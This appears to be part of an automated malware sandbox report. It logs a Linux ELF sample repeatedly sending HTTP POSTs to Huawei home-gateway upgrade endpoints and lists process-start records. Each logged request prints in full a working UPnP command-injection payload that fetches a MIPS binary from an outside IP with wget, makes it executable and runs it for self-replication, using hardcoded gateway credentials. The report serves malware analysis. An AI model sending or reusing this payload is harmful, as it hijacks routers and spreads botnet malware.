4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:37.318690062 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:39.206604004 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:43.142424107 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:50.822105885 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Start time (UTC):	02:42:53
Start date (UTC):	17/03/2024
Path:	/tmp/k5IgePZIDB.elf
Arguments:	/tmp/k5IgePZIDB.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	02:42:54
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:42:56
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1